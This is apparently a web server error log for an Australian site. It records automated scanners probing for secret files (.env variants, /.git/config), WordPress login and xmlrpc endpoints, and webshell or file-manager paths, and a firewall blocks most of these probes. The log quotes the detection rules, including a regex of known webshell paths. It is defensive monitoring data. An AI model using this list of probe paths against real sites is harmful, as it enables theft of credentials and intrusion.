[Tue Apr 21 13:57:54.894762 2026] [:error] [pid 5377:tid 5407] [client 47.129.153.171:53838] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/web/.env"] [unique_id "aecR4rBKychFlrHBdvumgQAAAdU"]
[Tue Apr 21 13:57:55.335389 2026] [:error] [pid 4822:tid 4845] [client 47.129.153.171:53848] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/site/.env"] [unique_id "aecR4yAteFQFwS_23JlWtQAAAVM"]
[Tue Apr 21 13:57:55.775829 2026] [:error] [pid 35320:tid 35341] [client 47.129.153.171:53862] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/public/.env"] [unique_id "aecR44JW6fdXWO6agMHuAQAAAAs"]
[Tue Apr 21 13:57:56.210087 2026] [:error] [pid 5377:tid 5410] [client 47.129.153.171:53872] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.env"] [unique_id "aecR5LBKychFlrHBdvumhAAAAdg"]
[Tue Apr 21 13:57:56.644625 2026] [:error] [pid 35321:tid 35394] [client 47.129.153.171:53878] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backend/.env"] [unique_id "aecR5DeHLhVUuu8cVXx_LQAAAEo"]
[Tue Apr 21 13:57:57.082496 2026] [:error] [pid 35321:tid 35405] [client 47.129.153.171:53882] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/server/.env"] [unique_id "aecR5TeHLhVUuu8cVXx_LgAAAFU"]
[Tue Apr 21 13:57:57.530662 2026] [:error] [pid 35415:tid 35440] [client 47.129.153.171:53892] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/frontend/.env"] [unique_id "aecR5UiqDinI4_22zzg16AAAAM0"]
[Tue Apr 21 13:57:57.985750 2026] [:error] [pid 5377:tid 5386] [client 47.129.153.171:53896] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/src/.env"] [unique_id "aecR5bBKychFlrHBdvumiAAAAcA"]
[Tue Apr 21 13:57:58.437024 2026] [:error] [pid 5377:tid 5393] [client 47.129.153.171:55236] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/core/.env"] [unique_id "aecR5rBKychFlrHBdvumiwAAAcc"]
[Tue Apr 21 14:00:37.973213 2026] [:error] [pid 4777:tid 4797] [client 49.43.197.78:56433] [client 49.43.197.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.197.78, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aecShaxXur6bykKyLZRh3QAAAQk"]
[Tue Apr 21 14:00:37.987207 2026] [proxy_fcgi:error] [pid 4777:tid 4797] [client 49.43.197.78:56433] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 14:18:44.073695 2026] [:error] [pid 4823:tid 4857] [client 13.57.17.45:52318] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aecWxPc8mke3PfHqsxFyQAAAAYQ"]
[Tue Apr 21 14:18:44.911152 2026] [:error] [pid 4822:tid 4846] [client 13.57.17.45:52332] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aecWxCAteFQFwS_23JloZwAAAVQ"]
[Tue Apr 21 14:18:45.576538 2026] [:error] [pid 4822:tid 4830] [client 13.57.17.45:52346] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aecWxSAteFQFwS_23JloaQAAAUQ"]
[Tue Apr 21 14:18:46.245064 2026] [:error] [pid 4823:tid 4867] [client 13.57.17.45:52354] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aecWxvc8mke3PfHqsxFyRAAAAY4"]
[Tue Apr 21 14:18:46.902772 2026] [:error] [pid 4777:tid 4788] [client 13.57.17.45:52360] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aecWxqxXur6bykKyLZRnkgAAAQA"]
[Tue Apr 21 14:18:47.565018 2026] [:error] [pid 35321:tid 35394] [client 13.57.17.45:52364] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aecWxzeHLhVUuu8cVXyDmQAAAEo"]
[Tue Apr 21 14:18:48.226707 2026] [:error] [pid 35320:tid 35344] [client 13.57.17.45:52366] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aecWyIJW6fdXWO6agMH0HAAAAA4"]
[Tue Apr 21 14:18:48.888556 2026] [:error] [pid 5377:tid 5402] [client 13.57.17.45:52368] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aecWyLBKychFlrHBdvuudQAAAdA"]
[Tue Apr 21 14:18:49.549473 2026] [:error] [pid 4822:tid 4848] [client 13.57.17.45:52376] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aecWySAteFQFwS_23JlocwAAAVY"]
[Tue Apr 21 14:18:50.216614 2026] [:error] [pid 35321:tid 35399] [client 13.57.17.45:52388] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aecWyjeHLhVUuu8cVXyDmwAAAE8"]
[Tue Apr 21 14:18:50.879691 2026] [:error] [pid 4822:tid 4847] [client 13.57.17.45:52396] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aecWyiAteFQFwS_23JloegAAAVU"]
[Tue Apr 21 14:18:51.545511 2026] [:error] [pid 4822:tid 4848] [client 13.57.17.45:52398] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aecWyyAteFQFwS_23JlofQAAAVY"]
[Tue Apr 21 14:18:52.203585 2026] [:error] [pid 4777:tid 4793] [client 13.57.17.45:52406] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aecWzKxXur6bykKyLZRnlwAAAQU"]
[Tue Apr 21 14:18:52.861048 2026] [:error] [pid 4822:tid 4844] [client 13.57.17.45:42148] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aecWzCAteFQFwS_23JlohQAAAVI"]
[Tue Apr 21 14:18:53.525516 2026] [:error] [pid 4822:tid 4849] [client 13.57.17.45:42152] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aecWzSAteFQFwS_23JloiwAAAVc"]
[Tue Apr 21 14:18:54.181764 2026] [:error] [pid 4822:tid 4844] [client 13.57.17.45:42154] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "aecWziAteFQFwS_23JlokwAAAVI"]
[Tue Apr 21 14:18:54.850832 2026] [:error] [pid 4822:tid 4832] [client 13.57.17.45:42156] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "aecWziAteFQFwS_23JlonwAAAUY"]
[Tue Apr 21 14:18:55.510719 2026] [:error] [pid 4823:tid 4863] [client 13.57.17.45:42158] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "aecWz_c8mke3PfHqsxFyVgAAAYo"]
[Tue Apr 21 14:18:56.165736 2026] [:error] [pid 4777:tid 4790] [client 13.57.17.45:42162] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "aecW0KxXur6bykKyLZRnmgAAAQI"]
[Tue Apr 21 14:18:56.818821 2026] [:error] [pid 35320:tid 35342] [client 13.57.17.45:42170] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "aecW0IJW6fdXWO6agMH0IwAAAAw"]
[Tue Apr 21 14:18:57.472931 2026] [:error] [pid 35320:tid 35334] [client 13.57.17.45:42174] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "aecW0YJW6fdXWO6agMH0JQAAAAQ"]
[Tue Apr 21 14:18:58.150954 2026] [:error] [pid 4822:tid 4841] [client 13.57.17.45:42176] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "aecW0iAteFQFwS_23JlorgAAAU8"]
[Tue Apr 21 14:18:58.809083 2026] [:error] [pid 5377:tid 5392] [client 13.57.17.45:42184] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "aecW0rBKychFlrHBdvuufgAAAcY"]
[Tue Apr 21 14:18:59.474288 2026] [:error] [pid 4777:tid 4796] [client 13.57.17.45:42188] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "aecW06xXur6bykKyLZRnngAAAQg"]
[Tue Apr 21 14:19:00.134716 2026] [:error] [pid 35320:tid 35339] [client 13.57.17.45:42194] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "aecW1IJW6fdXWO6agMH0JwAAAAk"]
[Tue Apr 21 14:19:00.797014 2026] [:error] [pid 4822:tid 4830] [client 13.57.17.45:42208] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aecW1CAteFQFwS_23JlotQAAAUQ"]
[Tue Apr 21 14:19:01.456090 2026] [:error] [pid 4823:tid 4863] [client 13.57.17.45:42214] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "aecW1fc8mke3PfHqsxFyYgAAAYo"]
[Tue Apr 21 14:19:02.114577 2026] [:error] [pid 4822:tid 4829] [client 13.57.17.45:42226] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aecW1iAteFQFwS_23JlougAAAUM"]
[Tue Apr 21 14:19:02.771900 2026] [:error] [pid 4823:tid 4855] [client 13.57.17.45:47712] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "aecW1vc8mke3PfHqsxFyagAAAYI"]
[Tue Apr 21 14:19:03.430120 2026] [:error] [pid 4777:tid 4812] [client 13.57.17.45:47718] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "aecW16xXur6bykKyLZRnowAAARg"]
[Tue Apr 21 14:19:04.088366 2026] [:error] [pid 4777:tid 4790] [client 13.57.17.45:47720] [client 13.57.17.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "aecW2KxXur6bykKyLZRnpgAAAQI"]
[Tue Apr 21 14:50:22.946195 2026] [:error] [pid 5377:tid 5396] [client 199.203.54.15:46408] [client 199.203.54.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.203.54.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aeceLrBKychFlrHBdvvBSQAAAco"]
[Tue Apr 21 14:50:22.957263 2026] [proxy_fcgi:error] [pid 5377:tid 5396] [client 199.203.54.15:46408] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:46.166331 2026] [proxy_fcgi:error] [pid 35321:tid 35393] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:46.450754 2026] [proxy_fcgi:error] [pid 35321:tid 35391] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:46.723566 2026] [proxy_fcgi:error] [pid 35321:tid 35394] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:47.011604 2026] [proxy_fcgi:error] [pid 35321:tid 35391] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:47.286637 2026] [proxy_fcgi:error] [pid 35321:tid 35394] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:47.574606 2026] [proxy_fcgi:error] [pid 35321:tid 35405] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:47.849745 2026] [proxy_fcgi:error] [pid 35321:tid 35396] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:48.147263 2026] [proxy_fcgi:error] [pid 35321:tid 35393] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:48.427298 2026] [proxy_fcgi:error] [pid 35321:tid 35399] [client 185.82.72.9:61677] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:48.690931 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.9:61677] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aeco1DeHLhVUuu8cVXyioAAAAFQ"]
[Tue Apr 21 15:35:49.253307 2026] [proxy_fcgi:error] [pid 53731:tid 53748] [client 45.86.200.217:52899] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:49.521971 2026] [:error] [pid 53731:tid 53749] [client 45.86.200.217:52899] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aeco1V2I9THUR-bRVGzYcgAAAg4"]
[Tue Apr 21 15:35:50.081305 2026] [proxy_fcgi:error] [pid 35321:tid 35406] [client 45.86.200.214:58723] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:50.372328 2026] [proxy_fcgi:error] [pid 35321:tid 35400] [client 45.86.200.214:58723] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:50.675044 2026] [proxy_fcgi:error] [pid 35321:tid 35405] [client 45.86.200.214:58723] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:50.997331 2026] [proxy_fcgi:error] [pid 35321:tid 35396] [client 45.86.200.214:58723] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:51.285290 2026] [proxy_fcgi:error] [pid 35321:tid 35390] [client 45.86.200.214:58723] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:51.603565 2026] [:error] [pid 35321:tid 35388] [client 45.86.200.214:58723] [client 45.86.200.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aeco1zeHLhVUuu8cVXyi4gAAAEQ"]
[Tue Apr 21 15:35:52.139306 2026] [proxy_fcgi:error] [pid 4823:tid 4856] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:52.457685 2026] [proxy_fcgi:error] [pid 4823:tid 4857] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:52.735399 2026] [proxy_fcgi:error] [pid 4823:tid 4858] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:53.011715 2026] [proxy_fcgi:error] [pid 4823:tid 4853] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:53.298598 2026] [proxy_fcgi:error] [pid 4823:tid 4875] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:53.575570 2026] [proxy_fcgi:error] [pid 4823:tid 4872] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:53.845328 2026] [proxy_fcgi:error] [pid 4823:tid 4865] [client 45.86.200.229:34087] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:54.130603 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.229:34087] [client 45.86.200.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeco2vc8mke3PfHqsxG2sgAAAYI"]
[Tue Apr 21 15:35:54.677611 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:54.998688 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:55.307320 2026] [proxy_fcgi:error] [pid 53832:tid 53836] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:55.596950 2026] [proxy_fcgi:error] [pid 53832:tid 53840] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:55.878300 2026] [proxy_fcgi:error] [pid 53832:tid 53839] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:56.194014 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:56.485354 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:56.768297 2026] [proxy_fcgi:error] [pid 53832:tid 53837] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
